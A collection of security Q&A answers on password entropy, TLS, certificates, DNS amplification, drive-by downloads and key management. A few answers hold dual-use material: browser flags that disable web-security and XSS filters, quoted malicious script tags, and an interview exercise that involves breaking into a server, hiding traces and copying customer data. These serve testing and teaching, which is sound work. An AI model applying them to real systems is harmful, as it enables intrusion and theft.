Is a 14 character password safe enough for regular purposes? (Using A,a,1,!- Caps/Lowercaswe/Numbers/Special#'s etc etc) ex: 9(ax4$3#AZz22Z

If (and a big if!) you choose the characters uniformly at random, from a set of 95, each choice independently from each other, then each of the 14 random choices has about 6.6 bits of entropy.  (By very coarse math that's worth memorizing: uniform random choice out of 10 possibilities is about 3.3 bits; out of 100 possibilities is about 6.6 bits.)

So:

6.6 bits/character * 14 characters = 92.4 bits.
6.6 bits/character * 20 characters = 132 bits.

It seems that TrueCrypt's recommendation is grounded on a choice to use a 128-bit encryption algorithm like AES-128—20 printable ASCII characters is the shortest length whose maximum security can live up to the 128-bit security level of the application.

I would say that you should consider using their 20 character recommendation, but you could just as well seriously consider using 14.  The Diceware Passphrase FAQ has an entry discussing recommended passphrase lengths for encryption, with advice that while no means definitive at least gives you some important perspective:

  A five-word Diceware passphrase has an entropy of at least 64.6 bits; six words have 77.5 bits, seven words 90.4 bits, eight words 103 bits, nine words 116 bits, ten words 129 bits. (Four words only provide 51.6 bits, about the same as an 8 character password made up of random ASCII characters. Both are breakable in less than a day with two dozen graphics processors.) Inserting one extra letter at random adds about 10 bits of entropy. Here is a rough idea of how much protection various lengths provide, based on updated estimates by A.K. Lenstra (See www.kelength.com). Needless to say, projections for the far future have the most uncertainty.

  Five words are breakable with a thousand or so PCs equipped with high-end graphics processors. (Criminal gangs with botnets of infected PCs can marshal such resources.)
  Six words may be breakable by an organization with a very large budget, such as a large country's security agency.
  Seven words and longer are unbreakable with any known technology, but may be within the range of large organizations by around 2030.
  Eight words should be completely secure through 2050.

  Pick your passphrase size based on the level of security you want.

Also, this bit further down is definitely fun and good food for thought:

  Another way to think about passphrase length is to consider what security precautions you take to physically protect your computer and data. Here is a list of possible passphrase lengths and commensurate security precautions. The list of precautions is not intended to be complete. I am not trying to discourage anyone from using longer passphrases if they feel up to it, but the added strength without comparable physical security for your computer is of limited value.

  [...]

  7 words

  Your computer is protected from unauthorized access at all times when not in your personal possession by being locked in a room or cabinet in a building where access is controlled 24 hours a day or that is protected by a high quality alarm service.
  Routine cleaning and building maintenance people do not have physical access to your computer when you are not present.
  You regularly use an up-to-date anti-virus program purchased off the floor at a computer store.
  You have verified the signatures on your copy of PGP or GPG, etc.
  You never run unverified downloaded software, e-mail attachments or unsolicited disks received through the mail on your computer.

  [...]

  8 words

  You take all the steps listed under 7 words above, and:

  Your computer is kept in a safe or vault at all times when it is not in sight of you or someone you trust.
  Your computer was purchased off the floor at a randomly selected computer store.
  All the software used on your computer was distributed with a strong, independently verified electronic signature that you checked, or was purchased off the floor in a randomly selected computer store
  Your computer has never been repaired or upgraded by anyone you do not trust completely.
  All disks and tapes used with your computer are either kept in a safe or physically destroyed.
  You take precautions against audio and video surveillance when entering passphrases.
  You change your PGP encryption key regularly (at least once a year).
  You have taken precautions against TEMPEST attacks. See the chapter "Commonsense and Cryptography," in Internet Secrets, from IDG Books Worldwide, for a discussion of what this involves.

I think these are perhaps a bit paranoid for most people (is the NSA or FSB out to get you?), but they do convey an important message: making your password super-strong has diminishing returns.  It only does you so much good to have the strongest passphrase in the word if you're vulnerable to much easier attacks.  That's how you'd justify the much more convenient 14-character password over the 20-character one.


It depends on how you generate your passphrase.

A passphrase derived from a story, or a song lyric, or a book or poem quote, is inherently insecure. Crackers are already using quotes from publicly available works, and common transformations of them (like taking the first letter of each word) to guess passwords.

A passphrase you made up yourself is better, but it is still inherently less secure than a fully randomized password. It will have sentence structure, probably will favor commonly chosen words, etc. How much less secure is very hard to quantify; there have been studies that figure out entropy of passphrases character-by-character. Still, it's a better than a publicly available phrase, and a lot better than a single-word password with or without transformations.

But you could also make a fully random passphrase, Diceware-style. With enough words, these can be made as secure as you like; a diceware passphrase with N words tends to be about as secure as randomized, mixed-case with digits and special characters password with 2N characters. With a random passphrase, there is nothing inherently insecure about it; you can use this method whenever the service allows enough characters for 6-8 words.


Can an unprivileged program modify an HTTP request response on the local machine?

Not on Linux.

On Linux a program must have elevated privileges for opening a raw socket to perform that type of thing. It would need elevated privileges to read the TCP Sequence Number too, to create a packet within the receiving window on the other side.

On Windows, there are some limitations:

TCP data cannot be sent over raw sockets.
UDP datagrams with an invalid source address cannot be sent over raw sockets.
A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.


What is a good browser for web application pen testing?

Most browsers allow you to disable the function. For instance with chrome you need to start the browser using

C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-web-security

For Firefox you have to go type about:config in the address bar. Then you need to set the browser.urlbar.filter.javascript to False.

For Internet Explorer click Tools–>Internet Options and then navigate to the Security Tab. You need to set a custom security level. Scroll towards the bottom where you will find that Enable XSS filter and disable it.


How reliable is the method of overwriting deleted files with large files?

Wear leveling on the SSD will prevent you from completely overwriting existing data, even if the operating system actually tries to put the new file(s) in the same sectors (as the OS sees them) as the old file(s), which is doubtful unless you totally fill the drive each time.


trying to find a way to limit the size of responses via iptables and the use of the limit module

What you probably need is the iptables length module which can match packets which have a specific length (or range). See http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO.html#toc3.7.

Note that this only helps with UDP where the full payload is contained in a single message (you should drop fragmented UDP packets though). With TCP the response can be transferred using multiple packets and a single TCP stream can also contain multiple requests and responses. Thus limiting the length of a packet will not help much.

  I am also currently looking into how to have a dns resolver to drop non-compliant responses, so any thoughts/ideas are most welcome.

The best would be to have a application level gateway which sanitizes responses, i.e. a local DNS server which gets accessed from the resolver library. Something like dnsmasq could help although I'm not sure if dnsmasq really sanitizes responses enough for this specific case. Other options would be setting up unbound or bind, although bind has a bad history regarding security itself.


Remote access to my home PC - minimizing the risk

A typical solution is to use a VPN. A VPN makes it possible to connect to your home network (and subsequently to TightVNC) and VPN authentication is often sufficiently hardened to expose to the internet.

Another option is to use a SSH server, which can act as a poor man's VPN. This is also TightVNC's own advice:

  In the mean time, if you need real security, we recommend installing an SSH server, and using SSH tunneling for all TightVNC connections from untrusted networks.


How does LastPass know that Microsoft.com uses the password for Live.com?

Lastpass uses a preconfigured and extensible set of site aliases to make two or more domains equivalent.

Here is a snapshot from my account settings page. YMMV.


Is it possible to fabricate x.509 certificate with varying issuer and subject fields?

You put self signed with a question mark without making clear if you understand what it means, namely a cert signed by the same key it contains (not just one you signed or caused to be signed). Or to be more exact, a cert signed by the private half of the keypair whose public half is contained in the cert, so that it verifies with its own key, although that verification is meaningless for security. If you do want that:

Create a keypair and a root-CA cert for that key. Any root-CA certs must, by definition, have subject=issuer and be self-signed i.e. signed by the same key it contains.
Create a child cert for that same keypair with a different subject name and other data as desired, issued/signed by the root-CA. It will thus be signed by the same keypair it contains, but have different names.
Use the child cert and if you don't need the root cert just discard it.

If not self-signed that's the normal case. Just create a CA keypair and cert, and then issue a child cert (or several) under that CA with a different name(s) and different keypair(s) and other data as desired. All certs, except root-CA and dummy/trivial self-signed EE certs, should always have subject not equal to issuer -- in fact using the same name for subject and issuer of a cert that isn't root or self-signed will usually confuse reliers and cause validation error or reject.

The one thing you can't do with OpenSSL is create cert(s) under -- that is, correctly signed by -- a 'real' CA like Verisign/Symantec/Digicert, GoDaddy, or LetsEncrypt. Thus any cert you create should not validate for any properly implemented relier by default, only if you or someone adds your 'local' CA to its truststore.


How to optimize the diffie hellman key exchange algorithm

DON'T ROLL YOUR OWN CRYPTO

Writing a crypto implementation is hard: not only does it have to "work" in the sense that the math is right, you're properly handling big ints, etc; but it has to be "secure" in the sense that you have no buffer overflows, you handle all error conditions correctly, your code is completely timing invariant, etc.

Put it this way: if I was a dev manager and we needed to write and harden a production-quality Diffie-Hellman implementation, I would want 1 - 3 PhD level crypto engineers and I would give them ~ 1 month to write and harden the implementation. If that doesn't describe your team, then I would suggest using a cryptographic library instead.

For what you're describing, I would use the Signal Protocol (there are libsignal libraries in most major programming languages). If you really want to use DH directly, then I would use the crypto package for your language, or OpenSSL. In addition to security, you'll get the side-benefit that these implementations will be much faster than yours since they will use advanced mathematical and assembly language tricks to make the exponentiation and modular reductions more efficient.

DON'T ROLL YOUR OWN CRYPTO


Why do Chrome and Firefox report a different server certificate and issuer than OpenSSL?

Unsure for your exact use case, but that is what the Server Name Indication TLS extension precisely addresses.

In HTTPS, the SSL handshake where the server presents its certificate occurs before the server could examine any HTTP header. SNI allows the client to send the name of the virtual domain as part of the TLS negotiation.This enables the server to select one certificate among many. Therefore, with clients and servers that implement SNI, a server with a single IP address can serve different domain names with different certificates.

SNI was added to the IETF's Internet RFCs in June 2003 through RFC 3546, Transport Layer Security (TLS) Extensions. The latest version of the standard is RFC 6066.

It is now the de-facto standard, because in large datacenters the front proxies can serve hundreds or thousands of sites, not speaking of Content Delivery Networks like Akamai or CloudFront (thanks to Mike Ounsworth for that part)

More details on the referenced page.

BTW, openssl can use SNI with the servername option:

openssl s_client -connect somesite.org:443 -servername somesite.org -showcerts

should be enough to get same certificates than browsers get


You are right that an adversary that could intercept all your traffic could put a system in place that would act as a MiTM between all your email recipients and yourself, creating a separate public/private keypair for each recipient and keeping you in the dark on it. There isn't any way you can defend against that totally.

Keep in mind that this would be very difficult to do, and if your attacker has the capacity to intercept and tamper with all your email in this way than you are in real trouble as they'll have plenty of other ways to discover what you are doing.

Public key encryption doesn't truly work unless both sides can trust that the public keys exchanged are authentic to the user, so simply putting your public key on your website isn't enough to ensure that trust, you need to use the public key infrastructure for that.


You should never design application with direct database access. You should build an API on the server which would proxy all the database requests.

For example, when you visit website, that website, server-side, is connecting to database and serving you data and you can't connect to database directly from you web-app running in your browser.

It's not like your browser downloads a javascript website, which connects to the database. This is wrong flow, wrong design, it should never be done this way without server.

Read about multitier applications here:
https://en.wikipedia.org/wiki/Multitier_architecture


Disabling downloads in the browser; are there any benefits?

Short answer: No. Useless.

Detailed answer:

In fact, drive-by download attacks are malware delivery techniques a user may encounter by a simple visit of a website. This simple visit is what is referred to by drive-by download. It is an attack where the user is not intending to download anything at all.

A drive-by download attack may require or not user's interactions. It occurs without the user's consent and knowledge. It takes advantages of the vulnerabilities available in the browser itself as well as the ones available in its plugins or extensions.

Note that in case this attack requires the user's interaction, such interactions are performed  most of the time -if not the only way- by clicking on some pop up windows: whether you click to agree (Ok), disagree (Cancel) or simply leave the window (X) you the attack will be triggered (sometimes you get a series of popup windows)

For instance, CVE-2011-0611 was a 0-day vulnerability up to April 13th, 2011 . It was used to infect the homepage of the Human Right Watch website in UK. The infected page contains a rogue <script src=newsvine.jp2></script> element. This tricks the browser into caching and executing newsvine.jp2 as JavaScript code. It was a drive-by cache attack which is just a case of drive-by download attacks. The caching is successful, but the file cannot be executed as JavaScript because it is actually a renamed malicious executable corresponding to a backdoor from the pincav family.

Another rogue script element found on the infected page is <script src="/includes/googlead.js"></script>, which unlike most drive-by download attacks, loads a local .js file. The JavaScript code in googlead.js creates an iframe that executes the SWF exploit from a domain controlled by the attackers.

We can mention also the famous and successful a drive-by download attack of which no browser was safe as long as they run a vulnerable version of JRE at that time (CVE-2011-3544) leading to thousands of visitors of the Amnesty International's homepage in UK were thus infected by Trojan Spy-XR malware. The attacks continued until June 2011, so later after you asked this question: Google Chrome was not safe of it.

On October 24th, 2013, the famous php.net website has been infecting its visitors by a drive-download attack through a hidden iframe tag.

How to avoid this type of attacks?

There are several ways to avoid such an attack, but they all generally result in a less usable experience on the internet. You can disable all JavaScript and embedded active content from running (or require prompts before they execute). This will prevent downloads without you having to approve the active script. Even the default options of recent browsers are a lot better than they used to be, but are not sufficient to stop all threats.

There isn't a perfect solution, you need to find the balance that works for you between usability and security. You may use some common sense: install only the browser plugins/extensions you really need; do not visit website where such attacks have more probability to be hosted (porn websites ...).  If you want to visit such untrusted web sites then you should consider using more secure options or using a virtual machine to reduce your risk, but if you stay on the respectable parts of the Internet and keep your browser, AV and operating system all patched/up-to-date.


IP Spoofing normally refers to the process of forging network packets to provide a misleading source IP address. When your computer sends data on the network, it includes it's own IP address in the data (similar to a return address on an envelope). Spoofing involves lying about what the actual return address is. There are many reasons for doing this, not all of them malicious.

There are also limitations with spoofing. For example, in TCP, it is not possible to set up a full connection with a spoofed address due to the handshake process.

Proxy use is sometimes called spoofing (especially by non-technical people), but there are some important differences. Specifically, it is still possible to trace the connection back to an originating host (i.e., the proxy) but not necessarily back to the original user.

Furthermore, on some corporate networks, all traffic goes through a proxy. In these cases, the IP address of the individual workstation might be useless to an external service. But, the proxy actually places a more more accurate, publicly routable, address on the packet. Additionally, some HTTP proxies are configured to add the original source IP address to the packet in the form of the X-Forwarded-For header.


How can I detect/withstand DNS amplification attack?

Detection

The goal of a reflected DNS attack is to send large volumes of network traffic at a host in order to cause legitimate traffic to be dropped.  It is chosen when the attacker doesn't control enough bandwidth himself to exceed the target's bandwidth.  It is largely irrelevant whether the target is running a DNS server or not as the damage is usually already done by the time the packets reach the server.

The first symptom you will see is that your server is unresponsive over the network.  If you have an out-of-band connection (such as physically sitting at the keyboard in front of it or using an iLOM, ALOM, iDrac, whatever) the server will probably have a low load.

If you suspect a reflected DNS attack, you can use tcpdump to look for a large number of DNS responses arriving that you didn't ask for.  Keeping track of requests and responses can be difficult but if you aren't making any requests, then all the responses are part of the attack.

tcpdump -A -n dst port 53 and not host <local IP address>

The -n option is important here because it tells tcpdump not to do DNS lookups, which under this kind of attack will time out.  The <local IP address> should obviously be replaced with your outbound IP address.

Survival

If you are actually running a name server, source port randomisation may help reduce the load these bogus responses cause. Dan Kaminsky headed up a collaboration a few years ago that made this a standard part of every modern name server.

Some stateful firewalls can track UDP "sessions".  Configuring your firewall to drop anything inbound on port 53 that's not part of an established session could stop the bogus responses from reaching a valid service on your machine, meaning that the packets would not have to be processed.  A DROP rule is better than a REJECT rule here because a REJECT rule actually sends an ICMP response to the name server sending you the bogus DNS response (which uses up more bandwidth) whereas the DROP rule just stops everything right there and doesn't waste any extra bandwidth.

Still assuming you are running a name server, make sure caching is turned on and working.  (Actually, do this now anyway.  The upstream servers will thank you.)

Unfortunately, these three things are pretty much a drop in the ocean if your hosting provider's bandwidth has been exhausted, which is often the case.

The two most successful strategies for surviving a bandwidth-based DoS are

Having more bandwidth than the attacker.
Hiring someone who does.

If the bottleneck is within your hosting provder's network, they may be able to filter the traffic further out as long as you can give them something concrete and precise such as "drop all inbound UDP packets with destination port 53".

If it's outside or at the edge of their network or if they just can't filter that much traffic, the next step is a company that specialises in mitigating DoS attacks.  There are numerous choices these days and I can't really recommend any of them without personal experience.  There's a quick list over on ServerFault.  The general consensus is that they're expensive but often less so than the downtime or the extortion request that immediately follows the attack.

Something also to be wary of if you do come under attack, I have heard reports that sometimes the DoS is simply a diversion before/after/while the attackers sneak in and steal the data.


What prevents criminals from buying a new PC and going on public wifi?

Frankly, there is nothing stopping a criminal from doing those things and making it impossible for authorities to catch them. But, it can be far simpler and cheaper than your scenario.

I run honeypots and I analyze hackers and their techniques. I was able to fully identify an Eastern European hacker (name, address, employer, phone number, even his favourite coffee shop) because of a series of small mistakes he made. I didn't trace his IP or traffic to find him, though I did anyway and found he used a pre-paid cell plan for data. But, there were pieces of data that I put together to paint a picture of who the person was. It was a dozen small things that were nothing on their own, but in combination, was enough to id him perfectly.

Your question assumes that criminals are detected through traces and logs. That's not the typical scenario, unless mistakes are made. There are "fingerprints" left behind that can be clues, but the way that criminals are traced are through their actions after the crime has been committed: selling, storing, bragging, etc.


GPG encrypts the file once with a symmetric key, then places a header identifying the target keypair and an encrypted version of the symmetric key. The intricate details of that are defined in section 5.1 of RFC 2440. When encrypted to multiple recipients, this header is placed multiple times providing a uniquely encrypted version of the same symmetric key for each recipient.

Thus, file size growth for each recipient is small and roughly linear. Some variation may exist for key length and padding so it's not predictable different for different key sizes and algorithms, but it's small. In a quick test demonstration using no compression:

11,676,179 source
11,676,785 encrypted-to-one (+606 bytes)
11,677,056 encrypted-to-two (+277 bytes)
11,677,329 encrypted-to-three (+273 bytes)


Why aren't we using multiple algorithms to protect against attacks like SHAttered?

Using multiple hash functions is simply the same as defining a new hash function, only much slower than a "better" secure hash and with little justification for the design.

So while it might indeed be harder to find a collision in your ad-hoc H(x)=MD5(x)||SHA1(x) than finding a collision in the components, it is far less efficient and likely less secure than purpose-built functions like SHA2-512 or SHA3-512. Even SHA2-256 has shown no weakness in the last decade of cryptanalysis.


Best practice for sharing a (.zip) file password with recipient

This is a good opportunity to utilize a random passphrase system (like Diceware or XKCD 936). A series of words can be much easier to convey over the telephone and yet the passphrases still provide good protection against guessing or cracking.

The main obstacle for passphrase use tends to be if the software you're using expects shorter passwords and doesn't accept these longer strings.  I know PGP self-decrypting archives work fine with passphrases, and I believe modern ZIP software does too.


Is there any way to write-protect a USB or hide its contents from deletion without hardware modifications?

I haven't used Rohos before, so I can't say exactly how it works. But I've used TrueCrypt before and it should be capable of this (I would test it, except someone has stolen all my bloody flash drives).

TrueCrypt can create an encrypted partition on a drive (such as a flash drive). This partition should appear as complete gibberish to the OS so it should ignore it. Then you can either keep a small amount of space to hold the TrueCrypt program to decrypt and view the encrypted partition. Or you can just encrypt the entire drive and carry or download TrueCrypt separately.

This will likely only hide it from casual view. Using something like gParted, Windows Disk Management tool and whatever OSX has will likely reveal it. But then they would only be able to format the entire area the contents would still be hidden.


Are there any security measures that are resistant to a brute force attack?

One-Time Pad and Shamir's Secret Sharing are two examples of cryptographic algorithms, where some secret value is involved, and which are nonetheless immune to brute force, even against attackers with unlimited computing abilities. Their key feature is "lack of key redundancy": there is no way to filter out "bad" keys. This shows in the fact that OTP requires the secret key to be as long as the encrypted data, and for Shamir's Secret Sharing the total size of the "shares" is even longer than the shared data.

Probabilistically speaking, you get the same property from an AES encryption, as long as you encrypt a single block, and use a key larger than that (e.g. AES-256 for encrypting a single 128-bit data element). The idea is that for a given ciphertext, any plaintext can match (given C and P, there are quite a few keys K such that AESK(P) = C). Hence the attacker cannot choose the "right" plaintext, even if exploring the whole key space. Of course, reusing the same key for anything else, even encrypting another 128-bit block with AES, would give to the attacker all the redundancy he needs to filter out keys, making brute force viable again (for our hypothetical attacker with a computer bigger than a galaxy, that is).

Algorithms which resist brute force have limited applicability, precisely because of the need for very long keys. In practice, against attackers with earth-based technology, brute force attacks are thwarted by using "long enough" keys. If you consider than an attacker may muster enough computing power to perform 2n "elementary operations", then you use keys of at least n bits; if you fear quantum computers, you use 2n bits (for anything symmetric, like symmetric encryption or hashing, a quantum computer may theoretically explore a key space of size N with effort sqrt(N), but no better; hence, it suffices to use a twice larger key). Traditionally, we set n=80 but constant progress in technology availability is beginning to force us to bump that value a bit, if we want to keep a convincingly large security margin. Since powers of two are good, it is now customary to use n=128, although the actual limit for Mankind as a whole (in an improbable sci-fi scenario in which all humans cooperate and work for that goal) can be estimated to be somewhere between 90 and 100.

Asymmetric algorithms (asymmetric encryption, signatures...) are much weaker, in that there are known attacks which are much better than "brute force" -- and a quantum computer makes the attacks trivial, for most of them. But since this is not brute force anymore, it is out of scope of your question.


Share and store RSA - public key in java server and vice versa

Java servers and Android apps expect the public key in X.509 format, see http://blog.wingsofhermes.org/?p=42 on how to convert.


Techniques for Writing Encryption Algorithms (Exclusively For Personal Use)

If you're generally interested in cryptography beyond your project:

It depends what type of encryption you wish to do. Huge caveat: this answer is only about pointing you in the right theoretical direction. I highly recommend doing a lot of reading before jumping in - the more you read the more you will understand how previous ciphers were broken and not make the same mistakes.

Public key

For operating a public key system you need a trapdoor function. Unfortunately, the advice on wikipedia is pretty accurate:

  Several function classes have been proposed, and it soon became obvious that trapdoor functions are harder to find than was initially thought

Trapdoor functions are pretty hard; trapdoor permutations (where the output and input sets of the functions are the same and as such the function "permutes" the input inside the set) are even harder. Roughly speaking, the prime factorisation problem and the discrete logarithm problem are two "big ones". Chances are in this field, using an existing one is going to be by far the easiest approach.

Symmetric Key

Symmetric key algorithms are deliberately reversible, but without one of the inputs (the key) are designed to be very difficult to reverse. The underlying idea is the confusion/diffusion principle. Common techniques in modern ciphers include substitution permutation networks and feistel networks. You should also consider reading up on block cipher modes of operation.

Right, great, where should I start?

By reading - as much as you can. I dislike the standard advice "don't design your own crypto". I think people should try if they want to. But I cannot emphasize enough how hard it is to get right. As you've a limited amount of time for your project, one technique might be to use a simple example of an existing cipher, so:

For your project

As an educational exercise RC4 is very easy to implement. Once upon a time (not so long ago) this was used to protect SSL/WEP traffic - sometimes it is still used, so you'd be using a real cipher. It does have some security issues - understanding these will also help you for your general crypto-education. However, as your requirement is less absolute security and more learning, I would have thought it would be ideal.

If you're feeling quite ambitious and know your language well, AES is also not that hard to implement in ECB mode. FIPS-197 is quite readable and generally explains the algorithm in a fairly accessible way.

You are right to consider ROT13 a poor example. Even not knowing the offset of each character was 13 places, assuming you use ASCII you just try each of the 127 (or 255 for extended ASCII) offsets of your cipher-text until the right one drops out. To decrypt it is therefore pretty trivial, even without the key.


Need to create an interview environment for a Security Engineer candidate

2 possible approaches (these ones are based on whether the candidate will be "blue" - defensive security - or "red" - offensive security"):

Provide AWS account and then ask the candidate to create a minimal secure Java application (meaning create a linux box in AWS secure it in AWS console > linux box > how to secure it (can be even network level considerations, like TIME_WAIT sessions) > webserver > app server / java runtime > JVM security > application security > IDS/SIEM for that application and so on).
For a more offensive bend - create a vulnerable JAVA app (if you so insist on JAVA) or DWVA and ask him to map out the attack surface or find vulnerabilities > then move from application layer to analyzing the server, maybe ask him to break into the server using knowledge gained though application hacking (DWVA in some modes has a vulnerability where you can see all the users - you might leave one user w/ only password protected login shell). After breaking into the server ask him how he would cover his traces and how he would acomplish some goal (you need to have the goal pre-determined, like copying customer information).

This answer should give you:

a simple framework to think about the interview process;
a starting point that could be improved upon;


Does (J-)SOX Forbid the Use of Open Source Software?

The basic principle of SOX (I can't speak to the Japanese version, but I'd put my bet that it carries over) is that the officers of the company must attest that they are aware of the company's action and are responsible for those actions. This is usually done by having a consultant come in and document what the company is doing. The focus of SOX is on control over things that affect financial statements.

Your inventory tracking system, accounting system, ordering system, etc. all fall into this scope. Your DHCP server doesn't.

SOX does not require support contracts for any system. SOX does not excuse you in cases of vendor supplied systems that are not understood. Buying Oracle, having it supported, and making a mess of it all will hurt -- your expensive support contract won't provide any absolution. Unfortunately, SOX is more misunderstood than anything else, and I'm in continual awe of the scope of things that companies believe it requires.

The prevailing attitude that occurs here is something along the lines of, "Better safe than sorry." Fact is that throwing extra unnecessary requirements onto yourself and claiming they're regulatory doesn't earn you any brownie points, it just costs you more. Unfortunately, I think you have an uphill struggle convincing your company of that.


What is the Best Practice to change a secret password with PBDKF2

In the context of having to enter your password to access your encrypted information: you don't derive the key that encrypts data using PBKDF2.

Every file (or thing) is encrypted with a unique randomly generated "session" key and salt (e.g. a 256-bit encryption key)
that per-file "session key" is encrypted with a Master Key (and salt)
the master key is also a randomly generated 256-bit encryption key

That Master Key is then encrypted with a key derived from the user's password.

The basic goal is that:

each file is encrypted with a cryptographically strong 256-bit key
all the session keys are encrypted with a cryptographically strong 256-bit key
and the master key is encrypted with the user's password

The virtue of this is that data and the session keys are protected with an excellent cryptographic keys, and are not the weak points.

And when the user wants to change their password:

you don't have to decrypt and re-encrypt all their data
you don't even have to decrypt and re-encrypt all the per-file session keys
you only have to decrypt and re-encrypt their master key


How does a website know the DNS server a client uses?

This is a DNS resolution trick that could also be performed using non-http protocols but in this case is performed by using random hostnames and zero-pixel images via http.

Look at the source code on the page and you will see a series of random 10-character subdomains requested for several URL's. These are very unique hostnames which neither your computer or your ISP, or more importantly your DNS provider, will have cached in local DNS.

When these unique URL's hostnames hit your DNS provider they then have to request them from the testing companies website who then correlates the owners IP address doing the unique DNS request and then notifies you of the company name that made the request via a quick lookup

List of randomized host names all for the same domain

ixc9a5snm4.dnsleaktest.com
rhl50vm36o.dnsleaktest.com
4xov3y3uvc.dnsleaktest.com
2n5t99gbzp.dnsleaktest.com
6mzklkved4.dnsleaktest.com
d6z20e9c2x.dnsleaktest.com

can be found in the following html (your hostnames will be different)

.
.
.
.
.
.


Veracrypt: Which encryption algorithm + hash algorithm to use?

As Stephen Touset already answered: The Algorithm might not be as important as you think.

The only way you would want several algorithms at once is longterm security. So your bet is: One of them will be broken some day and the others maybe won't.
By theory thats a good way to go. But you might face several issues with it.
Some of them are possibly:

Size of the encrypted information
Runtime Performance

I suggest you have a look at 'cascade encryption' e.g. at wikipedia or read something Bruce Schneier wrote about it.
In case you decide to only have one layer of encryption:
Use AES ( at least if you encrypt your OS). Because AES is so widely used it has been implemented as an extension to the x86 instruction set architecture used in INTEL and AMD processors.
This means you can do it at almost no time cost and (assuming you wont change the number of rounds and so on) AES-256 is really a practically secure thing (afaik).

Just make sure you use a secure password ( > 30 chars, possibly random) and dont fiddle around with algorithm settings (but I'm not even sure veracrypt will let you).

Edit: Since @jondoe666 is pretty right in his criticism of my post this shall make it a little more complete:

Yes. For most of the things I wanted to do, AES was pretty sufficient. If your case requires some extra security feel free to apply as much extra layers as you want. Concerning the performance: Of course the tradeoff is performance for encryption. If you choose to encrypt using multiple layers your CPU will have to do more cycles for every de-/encryption than it has to cycle for just one layer. The question is not if it gets slower the question is: Will I notice. And for the poor thinkpad I am currently using the answer is: YES. I do notice.
But since you asked:

  And what would you personally use?

Thats it. I don't really care about the Hashes (unless you're trying to use SHA1 or MD5). I really prefer SHA-256 over SHA-512 but just because I think it is sufficient. Might really depend on your level of paranoia as well as what you have read about the other options.

Cheers


Access-Control-Allow-Origin and security behind it

The goal of CORS is not to prevent any kind of cross-origin access. Some cross-origin access is possible anyway, like with cross-origin loading of images, submitting of forms etc. What CORS instead tries to prevent is (among some other things) cross-origin access which hijacks an established authenticated session.

While the attacker can create a proxy like you propose it will not have access to the credentials and (session) cookies for api.contoso.com which are stored in the browser. These are bound to the target domain. In your case on using a proxy at the attackers site the target domain is the attackers site and not the original site. This means that the proxy might access the target URL but not access it as the authenticated user.


Tools to demonstrate NO storage of cardholder data

As one comment above says, you're trying to prove a negative and that's quite difficult! Using tools which search for regular expressions are useful but they often return many false positives and are unable to search many file types. As a result, the use of a tool should be a single tool within your arsenal.

You can review what systems and application handle cardholder data and look at log files, error files, database tables and verify cardholder data is not present. If you used to have cardholder data, you could review the legacy storage locations and verify any purges have been successful and that backup media has been over-written or destroyed.

The PCI DSS scope states that the PAN is the defining factor for cardholder data. If you have a cardholder name or expiration date and no PAN, there's no issue.


MPPE-Send and Receive key derivation from MS-CHAPv2

Not sure of your question, is it how these values are encrypted? It is described in RFC-2548 section 2.4.2.

The reason I think this is that in your question you state:

  I have an example of freeradius and the session key is converted from
  16 bytes long to 32 bytes long before the construction of the string
  stated in RFC 2548.

so you are wondering how you go from your 16-byte key to the 32-byte value used in the RADIUS attribute?

Basically your 32-byte key is 2 catenated MD5 hashes of your 16-byte key. The value must be a multiple of 16 for this reason. The reason that you have 32, rather than 16 is that you prepend a single-byte value 16 (for key-length) onto the key value which makes the length 17 and thus pushes it into a second 16-byte window. The remaining 15 bytes should be 0-padded.

So anyway you're ciphering your now 17-byte key-value using the RADIUS shared-secret, the 16-byte Request Authenticator from the original RADIUS request, and a random 2-byte salt value.

The random salt value can literally be anything. As you've noted freeradius derives this from a TLS function but that's only suitable where you're tunneling over TLS really. You can just pull something out of the air.

Then you prepend the two byte salt value onto your 32-byte encrypted value, to make a 34-byte value and you're done!

     Construct a plaintext version of the String field by concate-
     nating the Key-Length and Key sub-fields.  If necessary, pad
     the resulting string until its length (in octets) is an even
     multiple of 16.  It is recommended that zero octets (0x00) be
     used for padding.  Call this plaintext P.

     Call the shared secret S, the pseudo-random 128-bit Request
     Authenticator (from the corresponding Access-Request packet) R,
     and the contents of the Salt field A.  Break P into 16 octet
     chunks p(1), p(2)...p(i), where i = len(P)/16.  Call the
     ciphertext blocks c(1), c(2)...c(i) and the final ciphertext C.
     Intermediate values b(1), b(2)...c(i) are required.  Encryption
     is performed in the following manner ('+' indicates
     concatenation):

  b(1) = MD5(S + R + A)    c(1) = p(1) xor b(1)   C = c(1)
  b(2) = MD5(S + c(1))     c(2) = p(2) xor b(2)   C = C + c(2)
              .                      .
              .                      .
              .                      .
  b(i) = MD5(S + c(i-1))   c(i) = p(i) xor b(i)   C = C + c(i)

  The   resulting   encrypted   String   field    will    contain
  c(1)+c(2)+...+c(i).


In general, there are several security issues with OpenID, but also many different scenarios for its use. So depending the threat model you may or may not want to rely on it, and users may or may not want to use it for authentication.

As you note, possible exposure of your credentials is a problem, e.g. if you choose an OpenID provider that authenticates with passwords and doesn't require https.  That goes for any site that asks for a password over a connection other than https.  But note that identity providers not only can use https, but could also authenticate via more secure hardware tokens or one-time passwords.

Problems with phishing are particularly challenging when the user doesn't properly use a carefully-designed user interface for authentication, which is one thing that led to the development of the client component in CardSpace.

OpenID 2.0 is a bit better than 1.0, but issues like privacy and trust remain.  Alternatives include SAML (e.g. via Shibboleth) and CardSpace.

Here are some links for more info:

Stefan Brands: The problem(s) with OpenID

If you want an answer specific to Stack Exchange policies, ask on https://meta.stackexchange.com/


Erasing hard drives (HDD & SSD) for donation

[SSD]: It's easier to perform a secure erase, using the companies software. Seagate SeaTools, Western Digital SSD Dashboard, Samsung Magician, Intel SSD Toolbox are the most common. In all of these softwares (free) there is a "secure erase" option. SOS: Formatting does not erase your data not even in the SSD.
[HDD]: Also for the HDD i'd suggest you to use a third-party software. Not even for a professional is worth to do it by himself. DBAN is the most known tool, completely free. Check that tutorial: https://www.youtube.com/watch?v=sHB2gDFBvCU


comparing password hashing algorithms - PoC ideas?

Take a list of 1,000 passwords: some trivial (password, cat), some pattern-based (mY$p455w0rd), some random (s%Xn3,0a9aN), and hash them three different ways: MD5 with salt, SHA-256 with salt, and bcrypt.

Use hashcat on the results.


Why does Google Authenticator have different codes on different devices?

You said, you got a new QR setup code? This invalidates the old one, at least with Google itself.

